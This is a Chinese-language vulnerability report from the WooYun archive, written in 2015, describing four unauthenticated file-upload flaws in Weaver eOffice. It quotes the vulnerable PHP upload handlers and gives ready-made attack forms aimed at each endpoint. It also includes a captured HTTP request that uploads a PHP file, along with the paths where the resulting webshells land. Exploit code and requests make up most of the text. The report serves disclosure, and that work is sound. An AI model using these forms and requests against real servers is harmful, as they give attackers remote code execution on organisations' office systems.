泛微Eoffice 三处任意文件上传可直接getshell

发表于 2015年07月11日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0125592

漏洞标题：泛微Eoffice 三处任意文件上传可直接getshell

漏洞详情

披露状态：

2015-07-11: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认，细节仅向厂商公开
2015-07-16: 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2015-09-06: 细节向核心白帽子及相关领域专家公开
2015-09-16: 细节向普通白帽子公开
2015-09-26: 细节向实习白帽子公开
2015-10-11: 细节向公众公开

简要描述：

在实验室奋斗了两天。。来一波

详细说明：

1.文件位置：/webservice/upload.php。相关代码如下：

<?php<br>
include_once( "inc/utility_all.php" );<br>
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );<br>
$extension = $pathInfor['extension'];<br>
$role = UPLOADROLE;<br>
$attachmentID = createfiledir( );<br>
global $ATTACH_PATH;<br>
$path = $ATTACH_PATH.$attachmentID;<br>
if ( !file_exists( $path ) )<br>
{<br>
				mkdir( $path, 448 );<br>
}<br>
$attachmentName = $_FILES['file']['tmp_name'];<br>
$fileName = $path."/".$_FILES['file']['name'];<br>
$fileName = iconv( "UTF-8", "GBK", $fileName );<br>
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );<br>
if ( !file_exists( $fileName ) )<br>
{<br>
				echo "false";<br>
}<br>
else<br>
{				echo $fileName;<br>
				echo $attachmentID."*".$_FILES['file']['name'];<br>
}<br>
?>

<?php

include_once( "inc/utility_all.php" );

$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );

$extension = $pathInfor['extension'];

$role = UPLOADROLE;

$attachmentID = createfiledir( );

global $ATTACH_PATH;

$path = $ATTACH_PATH.$attachmentID;

if ( !file_exists( $path ) )

{

mkdir( $path, 448 );

}

$attachmentName = $_FILES['file']['tmp_name'];

$fileName = $path."/".$_FILES['file']['name'];

$fileName = iconv( "UTF-8", "GBK", $fileName );

move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );

if ( !file_exists( $fileName ) )

{

echo "false";

}

else

{ echo $fileName;

echo $attachmentID."*".$_FILES['file']['name'];

}

没有做任何限制直接上传，文件名为原文件名，文件路径如下

$path = $ATTACH_PATH.$attachmentID<br>
$fileName = $path."/".$_FILES['file']['name'];

1 2	$path = $ATTACH_PATH.$attachmentID<br> $fileName = $path."/".$_FILES['file']['name'];

构造上传表单如下：

<form action="http://网站地址/webservice/upload.php" form enctype="multipart/form-data"  method="POST"><br>
<input name="file" type="file"><br>
<input name="" type="submit"><br>
</form>

</form>

如下图，返回内容3023528241*i.php对应路径为/attachment/3023528241/i.php

2.文件位置：inc/jquery/uploadify/uploadify.php 相关代码如下

<?php<br>
function createFileDir( )<br>
{<br>
				global $ATTACH_PATH;<br>
				mt_srand( ( double )microtime( ) * 1000000 );<br>
				$RADOM_ID = mt_rand( ) + mt_rand( );<br>
				if ( !file_exists( $ATTACH_PATH.$RADOM_ID ) )<br>
				{<br>
								return $RADOM_ID;<br>
				}<br>
				else<br>
				{<br>
								createfiledir( );<br>
				}<br>
}if ( !empty( $_FILES ) )<br>
{<br>
				$tempFile = $_FILES['Filedata']['tmp_name'];<br>
				$attachmentID = createfiledir( );<br>
				$uploadPath = $_REQUEST['uploadPath'];<br>
				if ( trim( $uploadPath ) == "" )<br>
				{<br>
								$targetPath = $_SERVER['DOCUMENT_ROOT']."/attachment/".$attachmentID;<br>
				}<br>
				else<br>
				{<br>
								$targetPath = $uploadPath."/sent/attachment/".$attachmentID;<br>
				}<br>
				if ( !file_exists( $targetPath ) )<br>
				{<br>
								mkdir( $targetPath, 448, true );<br>
				}<br>
				$targetFile = str_replace( "//", "/", $targetPath )."/".$_FILES['Filedata']['name'];<br>
				move_uploaded_file( $tempFile, iconv( "UTF-8", "GBK", $targetFile ) );<br>
				echo $attachmentID;<br>
}<br>
?>

<?php

function createFileDir( )

{

global $ATTACH_PATH;

mt_srand( ( double )microtime( ) * 1000000 );

$RADOM_ID = mt_rand( ) + mt_rand( );

if ( !file_exists( $ATTACH_PATH.$RADOM_ID ) )

{

return $RADOM_ID;

}

else

{

createfiledir( );

}

}if ( !empty( $_FILES ) )

{

$tempFile = $_FILES['Filedata']['tmp_name'];

$attachmentID = createfiledir( );

$uploadPath = $_REQUEST['uploadPath'];

if ( trim( $uploadPath ) == "" )

{

$targetPath = $_SERVER['DOCUMENT_ROOT']."/attachment/".$attachmentID;

}

else

{

$targetPath = $uploadPath."/sent/attachment/".$attachmentID;

}

if ( !file_exists( $targetPath ) )

{

mkdir( $targetPath, 448, true );

}

$targetFile = str_replace( "//", "/", $targetPath )."/".$_FILES['Filedata']['name'];

move_uploaded_file( $tempFile, iconv( "UTF-8", "GBK", $targetFile ) );

echo $attachmentID;

}

也是没有任意过滤，文件名为原文件名，可直接上传shell。

$targetPath = $uploadPath."/sent/attachment/".$attachmentID;<br>
$targetFile = str_replace( "//", "/", $targetPath )."/".$_FILES['Filedata']['name'];

1 2	$targetPath = $uploadPath."/sent/attachment/".$attachmentID;<br> $targetFile = str_replace( "//", "/", $targetPath )."/".$_FILES['Filedata']['name'];

构造上传表单如下：

<form action="http://网站地址/ inc/jquery/uploadify/uploadify.php" form enctype="multipart/form-data"  method="POST"><br>
<input name=" Filedata" type="file"><br>
<input name="" type="submit"><br>
</form>

</form>

如下图，返回内容1720699075 对应路径为/attachment/ 1720699075/2.php

3.文件位置：/general/weibo/javascript/LazyUploadify/uploadify.php部分相关代码如下：

<?php<br>
….省略部分代码……<br>
include_once( "inc/conn.php" );<br>
if ( !empty( $_FILES ) )<br>
{<br>
				$tempFile = $_FILES['Filedata']['tmp_name'];<br>
				$fileName = $_FILES['Filedata']['name'];<br>
				$thumbWidth = $_REQUEST['thumbWidth'];<br>
				$thumbHeight = $_REQUEST['thumbHeight'];<br>
				$attachmentID = createfiledir( );<br>
				$targetPath = ROOT_PATH."/attachment/".$attachmentID."/";<br>
				if ( !file_exists( $targetPath ) )<br>
				{<br>
								mkdir( $targetPath, 448, true );<br>
				}<br>
				$targetPath = str_replace( "//", "/", $targetPath );<br>
				$targetOriginalFile = $targetPath.$fileName;<br>
				$targetOriginalFile = iconv( "UTF-8", "GBK", $targetOriginalFile );<br>
				move_uploaded_file( $tempFile, $targetOriginalFile );<br>
				$fileExt = strtolower( substr( $fileName, strrpos( $fileName, "." ) ) );<br>
				switch ( $fileExt )<br>
				{<br>
				case ".jpg" :<br>
				case ".jpeg" :<br>
				case ".png" :<br>
				case ".gif" :<br>
								$targetThumbPath = ROOT_PATH."/attachment/thumb/".$attachmentID;<br>
								if ( !file_exists( $targetThumbPath ) )<br>
								{<br>
												mkdir( $targetThumbPath, 448, true );<br>
								}<br>
								$targetThumbFile = $targetThumbPath."/".$fileName;<br>
								$targetThumbFile = iconv( "UTF-8", "GBK", $targetThumbFile );<br>
								resizeimage( $targetOriginalFile, $targetThumbFile, $thumbWidth, $thumbHeight );<br>
								break;<br>
				}<br>
				$targetThumbFile = iconv( "GB2312", "UTF-8", $targetThumbFile );<br>
				$returnValue['thubmPath'] = str_replace( ROOT_PATH, "", $targetThumbFile );<br>
				$returnValue['attachmentID'] = $attachmentID;<br>
				$returnValue['attachmentName'] = $fileName;<br>
				$returnValue['attachmentSize'] = filesize( $targetOriginalFile );<br>
				echo json_encode( $returnValue );<br>
}<br>
?>

<?php

….省略部分代码……

include_once( "inc/conn.php" );

if ( !empty( $_FILES ) )

{

$tempFile = $_FILES['Filedata']['tmp_name'];

$fileName = $_FILES['Filedata']['name'];

$thumbWidth = $_REQUEST['thumbWidth'];

$thumbHeight = $_REQUEST['thumbHeight'];

$attachmentID = createfiledir( );

$targetPath = ROOT_PATH."/attachment/".$attachmentID."/";

if ( !file_exists( $targetPath ) )

{

mkdir( $targetPath, 448, true );

}

$targetPath = str_replace( "//", "/", $targetPath );

$targetOriginalFile = $targetPath.$fileName;

$targetOriginalFile = iconv( "UTF-8", "GBK", $targetOriginalFile );

move_uploaded_file( $tempFile, $targetOriginalFile );

$fileExt = strtolower( substr( $fileName, strrpos( $fileName, "." ) ) );

switch ( $fileExt )

{

case ".jpg" :

case ".jpeg" :

case ".png" :

case ".gif" :

$targetThumbPath = ROOT_PATH."/attachment/thumb/".$attachmentID;

if ( !file_exists( $targetThumbPath ) )

{

mkdir( $targetThumbPath, 448, true );

}

$targetThumbFile = $targetThumbPath."/".$fileName;

$targetThumbFile = iconv( "UTF-8", "GBK", $targetThumbFile );

resizeimage( $targetOriginalFile, $targetThumbFile, $thumbWidth, $thumbHeight );

break;

}

$targetThumbFile = iconv( "GB2312", "UTF-8", $targetThumbFile );

$returnValue['thubmPath'] = str_replace( ROOT_PATH, "", $targetThumbFile );

$returnValue['attachmentID'] = $attachmentID;

$returnValue['attachmentName'] = $fileName;

$returnValue['attachmentSize'] = filesize( $targetOriginalFile );

echo json_encode( $returnValue );

}

还是无任何过滤，直接getshell。表单如下：

<form action="http://网站地址/general/weibo/javascript/LazyUploadify/uploadify.php" form enctype="multipart/form-data"  method="POST"><br>
<input name="Filedata" type="file"><br>
<input name="" type="submit"><br>
</form>

</form>

如下图返回为json格式。对应路径/attachment/2012291572/2.php

4.文件位置：/general/weibo/javascript/uploadify/uploadify.php部分代码如下：

include_once( "inc/conn.php" );<br>
include_once( "general/weibo/inc/weibo.inc.php" );<br>
include_once( "general/weibo/inc/thumb_handler.php" );<br>
if ( !empty( $_FILES ) )<br>
{<br>
				if ( $_REQUEST['uploadType'] == "log" )<br>
				{<br>
								$tempFile = $_FILES['Filedata']['tmp_name'];<br>
								$fileName = $_FILES['Filedata']['name'];<br>
								$targetPath = ROOT_PATH."/attachment/";<br>
								$fileExt = substr( $fileName, strrpos( $fileName, "." ) );<br>
								$logName = "log".$fileExt;<br>
								$targetFile = str_replace( "//", "/", $targetPath )."/".$logName;<br>
								move_uploaded_file( $tempFile, iconv( "UTF-8", "GBK", $targetFile ) );<br>
								resize( $targetFile, $targetFile, 295, 195 );<br>
								$query = "SELECT * FROM unit";<br>
								$result = exequery( $connection, $query );<br>
								if ( mysql_num_rows( $result ) == 0 )<br>
								{<br>
												$query = "INSERT INTO unit (LOGO) VALUES ('".$logName."')";<br>
								}<br>
								else<br>
								{<br>
												$query = "UPDATE unit SET LOGO = '".$logName."'";<br>
								}<br>
								if ( exequery( $connection, $query ) )<br>
								{<br>
												echo $logName;<br>
								}<br>
								else<br>
								{<br>
												echo false;<br>
								}<br>
				}<br>
				else<br>
				{<br>
								$tempFile = $_FILES['Filedata']['tmp_name'];<br>
								$fileName = $_FILES['Filedata']['name'];<br>
								$userID = $_REQUEST['userID'];<br>
								$thumbWidth = $_REQUEST['thumbWidth'];<br>
								$thumbHeight = $_REQUEST['thumbHeight'];<br>
								$targetPath = ROOT_PATH."/attachment/personal/".$userID;<br>
								if ( !file_exists( $targetPath ) )<br>
								{<br>
												mkdir( $targetPath, 448, true );<br>
								}<br>
								$fileExt = substr( $fileName, strrpos( $fileName, "." ) );<br>
								$targetFile = str_replace( "//", "/", $targetPath )."/".$userID."_temp".$fileExt;<br>
								move_uploaded_file( $tempFile, iconv( "UTF-8", "GBK", $targetFile ) );<br>
								$windowWidth = $_REQUEST['windowWidth'];<br>
								$windowHeight = $_REQUEST['windowHeight'];<br>
								resize( $targetFile, $targetFile, $windowWidth - 40, $windowHeight - 100 );<br>
								list( $width, $height ) = getimagesize( $targetFile );<br>
								echo json_encode( array(<br>
												"width" => $width,<br>
												"height" => $height,<br>
												"imageSrc" => "/".str_replace( ROOT_PATH, "", $targetFile )<br>
								) );<br>
				}<br>
}<br>
?>

include_once( "inc/conn.php" );

include_once( "general/weibo/inc/weibo.inc.php" );

include_once( "general/weibo/inc/thumb_handler.php" );

if ( !empty( $_FILES ) )

{

if ( $_REQUEST['uploadType'] == "log" )

{

$tempFile = $_FILES['Filedata']['tmp_name'];

$fileName = $_FILES['Filedata']['name'];

$targetPath = ROOT_PATH."/attachment/";

$fileExt = substr( $fileName, strrpos( $fileName, "." ) );

$logName = "log".$fileExt;

$targetFile = str_replace( "//", "/", $targetPath )."/".$logName;

move_uploaded_file( $tempFile, iconv( "UTF-8", "GBK", $targetFile ) );

resize( $targetFile, $targetFile, 295, 195 );

$query = "SELECT * FROM unit";

$result = exequery( $connection, $query );

if ( mysql_num_rows( $result ) == 0 )

{

$query = "INSERT INTO unit (LOGO) VALUES ('".$logName."')";

}

else

{

$query = "UPDATE unit SET LOGO = '".$logName."'";

}

if ( exequery( $connection, $query ) )

{

echo $logName;

}

else

{

echo false;

}

else

{

$tempFile = $_FILES['Filedata']['tmp_name'];

$fileName = $_FILES['Filedata']['name'];

$userID = $_REQUEST['userID'];

$thumbWidth = $_REQUEST['thumbWidth'];

$thumbHeight = $_REQUEST['thumbHeight'];

$targetPath = ROOT_PATH."/attachment/personal/".$userID;

if ( !file_exists( $targetPath ) )

{

mkdir( $targetPath, 448, true );

}

$fileExt = substr( $fileName, strrpos( $fileName, "." ) );

$targetFile = str_replace( "//", "/", $targetPath )."/".$userID."_temp".$fileExt;

move_uploaded_file( $tempFile, iconv( "UTF-8", "GBK", $targetFile ) );

$windowWidth = $_REQUEST['windowWidth'];

$windowHeight = $_REQUEST['windowHeight'];

resize( $targetFile, $targetFile, $windowWidth - 40, $windowHeight - 100 );

list( $width, $height ) = getimagesize( $targetFile );

echo json_encode( array(

"width" => $width,

"height" => $height,

"imageSrc" => "/".str_replace( ROOT_PATH, "", $targetFile )

) );

}

表单可以自行构造。Fiddler请求如下

POST **.**.**.**/general/weibo/javascript/uploadify/uploadify.php?uploadType=log HTTP/1.1<br>
Host: **.**.**.**<br>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0<br>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3<br>
Accept-Encoding: gzip, deflate<br>
DNT: 1<br>
Cookie: zou__Session=7f895dd642da7e165f485c5a638224e4; PHPSESSID=9ed7d522a1e2caf3f2fe76082450b3a8<br>
Connection: keep-alive<br>
Content-Type: multipart/form-data; boundary=---------------------------94401197120954<br>
Content-Length: 214-----------------------------94401197120954<br>
Content-Disposition: form-data; name="Filedata"; filename="2.php"<br>
Content-Type: application/x-php<?php phpinfo();?><br>
-----------------------------94401197120954--

POST **.**.**.**/general/weibo/javascript/uploadify/uploadify.php?uploadType=log HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: zou__Session=7f895dd642da7e165f485c5a638224e4; PHPSESSID=9ed7d522a1e2caf3f2fe76082450b3a8

Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------94401197120954

Content-Length: 214-----------------------------94401197120954

Content-Disposition: form-data; name="Filedata"; filename="2.php"

Content-Type: application/x-php<?php phpinfo();?>

-----------------------------94401197120954--

Shell路径即/attachment/log.php

带userID则对应路径/attachment/personal/$userID/$userID_temp.php如下图

漏洞证明：

在phith0n的案例中随意挑了个测试

修复方案：

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-07-1314:17

厂商回复：

CNVD确认所述情况，已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

评价

2010-01-01 00:00 menmen519 白帽子 | Rank:624 漏洞数:73)

哎，这个是小厂商，看样子，文件上传这几个地方被你找到了
2010-01-01 00:00 Bear baby 白帽子 | Rank:174 漏洞数:14)

@menmen519 昨天被你发了一波。。你找的那些我应该都有。。亏了
2010-01-01 00:00 menmen519 白帽子 | Rank:624 漏洞数:73)

@Bear baby 最新版本的，漏洞比较多，文件上传应该有六处,不过收到2000的感觉不错吧
2010-01-01 00:00 Bear baby 白帽子 | Rank:174 漏洞数:14)

@menmen519 木有2000呢
2010-01-01 00:00 menmen519 白帽子 | Rank:624 漏洞数:73)

@Bear baby 好吧,打雷那个应该有5000 高产
2010-01-01 00:00 贫道来自河北白帽子 | Rank:95 漏洞数:12)

@Bear baby 是不是1500啊
2010-01-01 00:00 浮萍白帽子 | Rank:326 漏洞数:33)

我了个去这直接都$$了我再去扒拉扒拉
2010-01-01 00:00 金枪银矛小霸王白帽子 | Rank:93 漏洞数:8)

@menmen519 @Bear baby 两个大牛在谈笑风声
2010-01-01 00:00 大漠長河白帽子 | Rank:23 漏洞数:3)

看到千元美刀优先进来参观学习